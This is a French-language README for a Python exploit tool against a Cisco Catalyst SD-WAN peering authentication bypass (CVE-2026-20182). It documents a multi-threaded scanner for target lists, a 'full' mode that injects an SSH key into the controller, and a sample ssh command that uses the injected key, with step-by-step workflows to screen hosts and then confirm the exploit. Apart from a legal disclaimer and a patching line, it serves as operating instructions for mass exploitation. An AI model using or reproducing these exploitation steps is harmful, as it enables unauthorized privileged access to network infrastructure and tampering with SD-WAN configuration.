CVE-2026-20182

Contournement de l'authentification de peering Cisco Catalyst SD-WAN

CVE-2026-20182 — Contournement de l'authentification de peering Cisco Catalyst SD-WAN

Outil d'évaluation pour les tests autorisés du contournement de l'authentification de peering du contrôleur/gestionnaire Cisco Catalyst SD-WAN (CVE-2026-20182).

Résumé de la vulnérabilité

Avis de mai 2026 : une faille dans la poignée de main de connexion de contrôle / l'authentification de peering permet à un attaquant distant non authentifié de contourner l'authentification et d'obtenir un accès interne à privilèges élevés sur les systèmes affectés.

Un attaquant envoie des requêtes falsifiées au système affecté. En cas de succès, l'attaquant peut s'authentifier en tant que compte interne, à privilèges élevés, non root et atteindre NETCONF, permettant la manipulation de la configuration du tissu SD-WAN.

Recommandation : Appliquer les correctifs de sécurité Cisco conformément aux directives officielles du fournisseur. Limiter l'exposition du plan de gestion, surveiller les connexions du plan de contrôle et auditer les contrôleurs SD-WAN pour détecter les modifications de configuration non autorisées.

Contact

Telegram : @KNxploited

Aperçu de la console

Outil : CVE-2026-20182.py

Framework d'exploitation Python 3 pour CVE-2026-20182 contre Cisco SD-WAN vdaemon (UDP/DTLS 12346).

Ce qu'il fait (étape par étape)

Rétablissement du tissu : En cas de TEAR_DOWN ou de discordance de paramètres, réessaye avec les préréglages alternatifs domaine/site (1,100), (1,1), (0,0) sauf si --no-fallback.

Niveaux de résultats (lire attentivement)

Important

• Mode check → niveau 03 au mieux (sonde de contournement). Pas une preuve d'exploitation complète.
• Mode full → viser le niveau 01 (ssh_verified).
• https://host dans la liste → indice web TCP uniquement (80/443). Pas UDP DTLS sur 443.

Prérequis

pip install -r requirements.txt

OpenSSL (système)

Windows

1. Installer Win64 OpenSSL 3.x ou équivalent
2. Ajouter bin\ au PATH, ou définir :

OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

Linux

# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

L'outil se ferme au démarrage si OpenSSL ne peut pas être chargé.

Démarrage rapide

Menu interactif (par défaut)

python CVE-2026-20182.py

• Configurer les options 1–11, puis 0 = LANCER L'ANALYSE
• Mode d'exécution par défaut : check (sonde de contournement sûre)

Non interactif (automatisation)

python CVE-2026-20182.py -y

Modes d'exécution

CHECK — sonde de contournement uniquement

python CVE-2026-20182.py -y --mode check

FULL — injection de clé + vérification SSH (cibles autorisées uniquement)

python CVE-2026-20182.py -y --mode full

Référence CLI (chaque drapeau + exemple)

Cibles et workers

-f / --file — liste de cibles (défaut : targets.txt)

python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — threads workers (1–200, défaut 12)

python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — DOMAIN_ID par défaut quand absent de la liste (défaut : 1)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — SITE_ID par défaut quand absent de la liste (défaut : 100)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

Mode et automatisation

--mode — check | full

python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — ignorer le menu interactif ; utiliser uniquement les valeurs CLI

python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

Vérification SSH

--no-ssh-verify — ignorer le test SSH après injection (déconseillé en mode full)

python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — essayer aussi TCP 22 après 830

python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / tissu

--no-try-list-udp — uniquement UDP 12346 ; ignorer :port de la liste

python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — lab : ports UDP supplémentaires sur chaque hôte

python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — désactiver les tentatives de domaine/site en cas de TEAR_DOWN

python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

Journalisation

-v / --verbose — journaliser chaque message TX/RX du protocole

python CVE-2026-20182.py -y -v -f targets.txt --mode check

Menu interactif (lorsque -y est omis)

Format de targets.txt

Une cible par ligne. Les lignes commençant par # sont ignorées.

Exemple de fichier

# Contrôleurs de laboratoire — autorisés uniquement
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1

Non pris en charge : IPv6 (IPv4 / nom d'hôte uniquement).

Fichiers de sortie

Exemple de commande SSH (niveau 01)

ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N

Flux de travail recommandés

1) Cribler plusieurs hôtes (rapide)

python CVE-2026-20182.py -y -f targets.txt --mode check -t 24

Consulter cisco_sdwan_03_bypass_only.jsonl et les statistiques en direct Contournement uniquement.

2) Confirmer l'exploit sur les hôtes présélectionnés

python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8

Consulter cisco_sdwan_01_confirmed_ssh.jsonl — seul fichier avec ssh_verified: true.

3) Déboguer un hôte unique (verbeux)

python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback

Télémétrie en direct (pendant l'analyse)

Notes opérationnelles

• Le mode par défaut est check — n'écrit pas de clés et ne prouve pas SSH par lui-même.
• Vrai succès = ssh_verified=true en mode full uniquement.
• Tissu corrigé / incorrect → souvent TEAR_DOWN après CHALLENGE_ACK ; activer le rétablissement du tissu ou corriger domaine/site dans la liste.
• Pare-feu doit autoriser UDP/12346 (et tout port UDP supplémentaire de la liste) depuis votre scanner vers le contrôleur.
• Ne pas commiter sdwan_keys/ ou les résultats d'analyse dans des dépôts publics.

Avertissement légal

Ce logiciel est destiné uniquement à la recherche en sécurité autorisée, à l'évaluation défensive et à l'éducation.

Vous devez avoir une autorisation écrite explicite pour tester tout système que vous ne possédez pas ou n'exploitez pas. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur n'est pas responsable de toute mauvaise utilisation, des dommages ou des conséquences juridiques découlant de l'utilisation de cet outil.

Utilisez uniquement sur des systèmes et réseaux où vous êtes explicitement autorisé à effectuer des tests de sécurité.

Par : Nxploited ( Khaled Alenazi )